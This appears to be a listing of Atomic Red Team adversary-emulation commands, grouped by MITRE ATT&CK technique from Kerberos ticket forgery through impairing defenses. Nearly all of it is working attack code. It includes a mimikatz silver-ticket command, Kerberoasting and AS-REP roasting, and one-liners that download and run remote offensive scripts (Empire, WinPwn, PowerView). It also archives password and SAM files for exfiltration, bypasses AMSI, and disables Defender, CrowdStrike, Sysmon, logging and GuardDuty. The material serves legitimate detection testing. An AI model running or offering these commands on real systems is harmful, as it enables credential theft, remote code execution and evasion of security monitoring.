$domain = gwmi Win32_ComputerSystem | Select -Expand Domain
$krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
$domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to silver.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\silver.txt 2>&1 (
echo Purge existing tickets and create silver ticket:
klist purge
..\ExternalPayloads\mimikatz\x64\mimikatz.exe "kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:silverticketfakeuser /service:HOST /target:%logonserver:\\=%.%userdnsdomain% /ptt" "exit"

echo.
echo executing:schtasks /query /S %logonserver:\\=%.%userdnsdomain%
schtasks /query /S %logonserver:\\=%.%userdnsdomain%

echo.
echo Tickets after requesting schtasks:
klist

echo.
echo End of Silver Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\silver.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\silver.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
Start-Sleep 1 # wait a bit so the output file has time to be created
Get-Content -Path "$env:TEMP\silver.txt" -Wait | ForEach-Object {
if ($_ -match 'End of Silver Ticket attack') { break }
}
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\silver.txt

# cleanup temp files
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Request for service tickets

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
Invoke-Kerberoast | fl

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Rubeus kerberoast

klist purge
cmd.exe /c "..\ExternalPayloads\rubeus.exe" kerberoast None /outfile:"..\ExternalPayloads\rubeus_output.txt"

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Extract all accounts in use as SPN using setspn

setspn -T %USERDNSDOMAIN% -Q */*

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Request A Single Ticket via PowerShell

Add-Type -AssemblyName System.IdentityModel
$ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/$ComputerFQDN"

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Request All Tickets via PowerShell

Add-Type -AssemblyName System.IdentityModel
setspn.exe -T %USERDNSDOMAIN% -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

WinPwn - Kerberoasting

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Kerberoasting -consoleoutput -noninteractive

T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"

T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting

Rubeus asreproast

cmd.exe /c "..\ExternalPayloads\rubeus.exe" asreproast /outfile:"..\ExternalPayloads\rubeus_output.txt"

T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting

Get-DomainUser with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting

WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"

T1559.002 - Inter-Process Communication: Dynamic Data Exchange

Execute Commands

{MISSING IN ATOMIC RED TEAM}

T1559.002 - Inter-Process Communication: Dynamic Data Exchange

Execute PowerShell script via Word DDE

start "$T1559.002\bin\DDE_Document.docx"

T1559.002 - Inter-Process Communication: Dynamic Data Exchange

DDEAUTO

{MISSING IN ATOMIC RED TEAM}

T1559 - Inter-Process Communication

Cobalt Strike Artifact Kit pipe

"..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 1

T1559 - Inter-Process Communication

Cobalt Strike Lateral Movement (psexec_psh) pipe

"..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 2

T1559 - Inter-Process Communication

Cobalt Strike SSH (postex_ssh) pipe

"..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 3

T1559 - Inter-Process Communication

Cobalt Strike post-exploitation pipe (4.2 and later)

"..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 4

T1559 - Inter-Process Communication

Cobalt Strike post-exploitation pipe (before 4.2)

"..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 5

T1560.001 - Archive Collected Data: Archive via Utility

Compress Data for Exfiltration With Rar

"%programfiles%/WinRAR/Rar.exe" a -r %USERPROFILE%\T1560.001-data.rar %USERPROFILE%\*.txt

T1560.001 - Archive Collected Data: Archive via Utility

Compress Data and lock with password for Exfiltration with winrar

mkdir .\tmp\victim-files
cd .\tmp\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"%programfiles%/WinRAR/Rar.exe" a -hp"blue" hello.rar
dir

T1560.001 - Archive Collected Data: Archive via Utility

Compress Data and lock with password for Exfiltration with winzip

path=%path%;"C:\Program Files (x86)\winzip"
mkdir .\tmp\victim-files
cd .\tmp\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"%ProgramFiles%\WinZip\winzip64.exe" -min -a -s"hello" archive.zip *
dir

T1560.001 - Archive Collected Data: Archive via Utility

Compress Data and lock with password for Exfiltration with 7zip

mkdir $T1560.001\victim-files
cd $T1560.001\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"%ProgramFiles%\7-zip\7z.exe" u archive.7z *txt -pblue
dir

T1560.001 - Archive Collected Data: Archive via Utility

Data Compressed - nix - zip

zip $HOME/data.zip /var/log/{w,b}tmp

T1560.001 - Archive Collected Data: Archive via Utility

Data Compressed - nix - gzip Single File

test -e $HOME/victim-gzip.txt && gzip -k $HOME/victim-gzip.txt || (echo 'confidential! SSN: 078-05-1120 - CCN: 4000 1234 5678 9101' >> $HOME/victim-gzip.txt; gzip -k $HOME/victim-gzip.txt)

T1560.001 - Archive Collected Data: Archive via Utility

Data Compressed - nix - tar Folder or File

tar -cvzf $HOME/data.tar.gz $HOME/$USERNAME

T1560.001 - Archive Collected Data: Archive via Utility

Data Encrypted with zip and gpg symmetric

mkdir -p /tmp/T1560
cd /tmp/T1560; touch a b c d e f g
zip --password "InsertPasswordHere" /tmp/T1560/T1560 ./*
echo "InsertPasswordHere" | gpg --batch --yes --passphrase-fd 0 --output /tmp/T1560/T1560.zip.gpg -c /tmp/T1560/T1560.zip
ls -l /tmp/T1560

T1560.001 - Archive Collected Data: Archive via Utility

Encrypts collected data with AES-256 and Base64

zip -r /tmp/t1560/t1560_data.zip /tmp/t1560
openssl enc -aes-256-cbc -pass pass:atomic_enc_pass -p -in /tmp/t1560/t1560_data.zip -out /tmp/t1560/t1560_data.enc
cat /tmp/t1560/t1560_data.enc | base64

T1560.001 - Archive Collected Data: Archive via Utility

ESXi - Remove Syslog remote IP

# Extract line with IP address from the syslog configuration output
..\ExternalPayloads\plink.exe -ssh atomic.local -l root -pw n/a -m ..\atomics\T1560.001\src\esxi_get_loghost.txt | findstr /r "[0-9]*\.[0-9]*\.[0-9]*\." > c:\temp\loghost.txt

# Replace the IP with "0"
..\ExternalPayloads\plink.exe -ssh atomic.local -l root -pw n/a -m ..\atomics\T1560.001\src\esxi_remove_loghost.txt

# Extract the IP from the line extracted from findstr
$inputFilePath = "c:\temp\loghost.txt"
$outputFilePath = "c:\temp\loghost_ip.txt"

$fileContent = Get-Content -Path $inputFilePath -Raw

if ([string]::IsNullOrWhiteSpace($fileContent)) {
Write-Host "The content is $fileContent"
Write-Host "The file is empty"
} else {
# Use a regular expression to extract IP addresses
$ipAddresses = [regex]::Matches($fileContent, '(udp|tcp):\/\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.*').Value

$output = "esxcli system syslog config set --loghost=" + $ipAddresses

$output | Out-File -FilePath $outputFilePath -Encoding ascii

Write-Host "IP addresses extracted and saved to $outputFilePath"
}

T1560.001 - Archive Collected Data: Archive via Utility

Compress a File for Exfiltration using Makecab

makecab.exe C:\Temp\sam.hiv C:\Temp\art.zip

T1560.001 - Archive Collected Data: Archive via Utility

Copy and Compress AppData Folder

$AppData="$env:USERPROFILE\AppData"
$Copy="$env:USERPROFILE\Desktop\AppDataCopy"
$Zip="$env:USERPROFILE\Desktop\AppDataBackup.zip"

if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null

Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
$rel = $_.FullName.Substring($AppData.Length + 1)
$dest = Join-Path $Copy $rel
if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}

Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)

T1560.002 - Archive Collected Data: Archive via Library

Compressing data using GZip in Python (FreeBSD/Linux)

which_python=`which python || which python3`
$which_python -c "import gzip;input_file=open('/etc/passwd', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('/tmp/passwd.gz','wb',compresslevel=6);output_file.write(content);output_file.close();"

T1560.002 - Archive Collected Data: Archive via Library

Compressing data using bz2 in Python (FreeBSD/Linux)

which_python=`which python || which python3`
$which_python -c "import bz2;input_file=open('/etc/passwd','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('/tmp/passwd.bz2','w+');output_file.write(str(bz2content));output_file.close();"

T1560.002 - Archive Collected Data: Archive via Library

Compressing data using zipfile in Python (FreeBSD/Linux)

which_python=`which python || which python3`
$which_python -c "from zipfile import ZipFile; ZipFile('/tmp/passwd.zip', mode='w').write('/etc/passwd')"

T1560.002 - Archive Collected Data: Archive via Library

Compressing data using tarfile in Python (FreeBSD/Linux)

which_python=`which python || which python3`
$which_python -c "import tarfile; output_file = tarfile.open('/tmp/passwd.tar.gz','w'); output_file.add('/etc/passwd'); output_file.close()"

T1560 - Archive Collected Data

Compress Data for Exfiltration With PowerShell

dir $env:USERPROFILE -Recurse | Compress-Archive -DestinationPath $env:USERPROFILE\T1560-data-ps.zip

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable syslog

systemctl stop rsyslog ; systemctl disable rsyslog

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable syslog (freebsd)

service syslogd stop
sysrc syslogd_enable="NO"

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Cb Response

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
service cbdaemon stop
chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
systemctl stop cbdaemon
systemctl disable cbdaemon
fi

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable SELinux

setenforce 0

T1562.001 - Impair Defenses: Disable or Modify Tools

Stop Crowdstrike Falcon on Linux

sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Carbon Black Response

sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable LittleSnitch

sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable OpenDNS Umbrella

sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable macOS Gatekeeper

sudo spctl --master-disable

T1562.001 - Impair Defenses: Disable or Modify Tools

Stop and unload Crowdstrike Falcon on macOS

sudo launchctl unload /Library/LaunchDaemons/com.crowdstrike.falcond.plist
sudo launchctl unload /Library/LaunchDaemons/com.crowdstrike.userdaemon.plist

T1562.001 - Impair Defenses: Disable or Modify Tools

Unload Sysmon Filter Driver

fltmc.exe unload SysmonDrv

T1562.001 - Impair Defenses: Disable or Modify Tools

Uninstall Sysmon

sysmon -u

T1562.001 - Impair Defenses: Disable or Modify Tools

AMSI Bypass - AMSI InitFailed

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

T1562.001 - Impair Defenses: Disable or Modify Tools

AMSI Bypass - Remove AMSI Provider Reg Key

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Arbitrary Security Windows Service

net.exe stop McAfeeDLPAgentService
sc.exe config McAfeeDLPAgentService start= disabled

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender ATP PowerShell

Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Command Prompt

sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Registry

Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Microsoft Office Security Features

New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"

T1562.001 - Impair Defenses: Disable or Modify Tools

Remove Windows Defender Definition Files

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

T1562.001 - Impair Defenses: Disable or Modify Tools

Stop and Remove Arbitrary Security Windows Service

Stop-Service -Name McAfeeDLPAgentService
Remove-Service -Name McAfeeDLPAgentService

T1562.001 - Impair Defenses: Disable or Modify Tools

Uninstall Crowdstrike Falcon on Windows

if (Test-Path "C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe") {. "C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Evade Scanning -Folder

$excludedpath= "C:\Temp"
Add-MpPreference -ExclusionPath $excludedpath

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Evade Scanning -Extension

$excludedExts= ".exe"
Add-MpPreference -ExclusionExtension $excludedExts

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Evade Scanning -Process

$excludedProcess = "outlook.exe"
Add-MpPreference -ExclusionProcess $excludedProcess

T1562.001 - Impair Defenses: Disable or Modify Tools

office-365-Disable-AntiPhishRule

$secure_pwd = "None" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "None", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Windows Defender with DISM

Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Defender Using NirSoft AdvancedRun

Try {cmd /c "..\ExternalPayloads\AdvancedRun.exe" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
if(0){
$CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
Try {cmd /c "..\ExternalPayloads\AdvancedRun.exe" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{}
}

T1562.001 - Impair Defenses: Disable or Modify Tools

Kill antimalware protected processes using Backstab

& "..\ExternalPayloads\Backstab64.exe" -k -n MsMpEng.exe

T1562.001 - Impair Defenses: Disable or Modify Tools

WinPwn - Kill the event log services for stealth

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
inv-phantom -consoleoutput -noninteractive

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender ATP using Aliases - PowerShell

Set-MpPreference -drtm $True
Set-MpPreference -dbm $True
Set-MpPreference -dscrptsc $True
Set-MpPreference -dbaf $True

T1562.001 - Impair Defenses: Disable or Modify Tools

LockBit Black - Disable Privacy Settings Experience Using Registry -cmd

reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f

T1562.001 - Impair Defenses: Disable or Modify Tools

LockBit Black - Use Registry Editor to turn on automatic logon -cmd

reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f

T1562.001 - Impair Defenses: Disable or Modify Tools

LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell

New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force

T1562.001 - Impair Defenses: Disable or Modify Tools

Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell

New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Value password1 -Force

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Windows Defender with PwSh Disable-WindowsOptionalFeature

Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore

T1562.001 - Impair Defenses: Disable or Modify Tools

WMIC Tamper with Windows Defender Evade Scanning Folder

wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"

T1562.001 - Impair Defenses: Disable or Modify Tools

Delete Windows Defender Scheduled Tasks

IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f )
IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f )
IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f )
IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )

T1562.001 - Impair Defenses: Disable or Modify Tools

Clear History

history -c

T1562.001 - Impair Defenses: Disable or Modify Tools

Suspend History

set +o history

T1562.001 - Impair Defenses: Disable or Modify Tools

Reboot Linux Host via Kernel System Request

echo 1> /proc/sys/kernel/sysrq
echo b> /proc/sysrq-trigger

T1562.001 - Impair Defenses: Disable or Modify Tools

Clear Pagging Cache

free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Memory Swap

swapon -a
sleep 2
swapoff -a
sync

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable Hypervisor-Enforced Code Integrity (HVCI)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f

T1562.001 - Impair Defenses: Disable or Modify Tools

AMSI Bypass - Override AMSI via COM

REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f

T1562.001 - Impair Defenses: Disable or Modify Tools

AWS - GuardDuty Suspension or Deletion

detectorId=$(aws guardduty create-detector --enable --region "us-east-1" | grep -oP '(?<="DetectorId": ")[^"]*')
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Defender ATP on Linux/MacOS

sudo mdatp config real-time-protection --value disabled

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Registry - Reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f >NUL 2>nul

T1562.001 - Impair Defenses: Disable or Modify Tools

Tamper with Windows Defender Registry - Powershell

Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 0
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 0

T1562.001 - Impair Defenses: Disable or Modify Tools

ESXi - Disable Account Lockout Policy via PowerCLI

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server atomic.local -User root -Password pass
Get-AdvancedSetting -Entity atomic.local -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
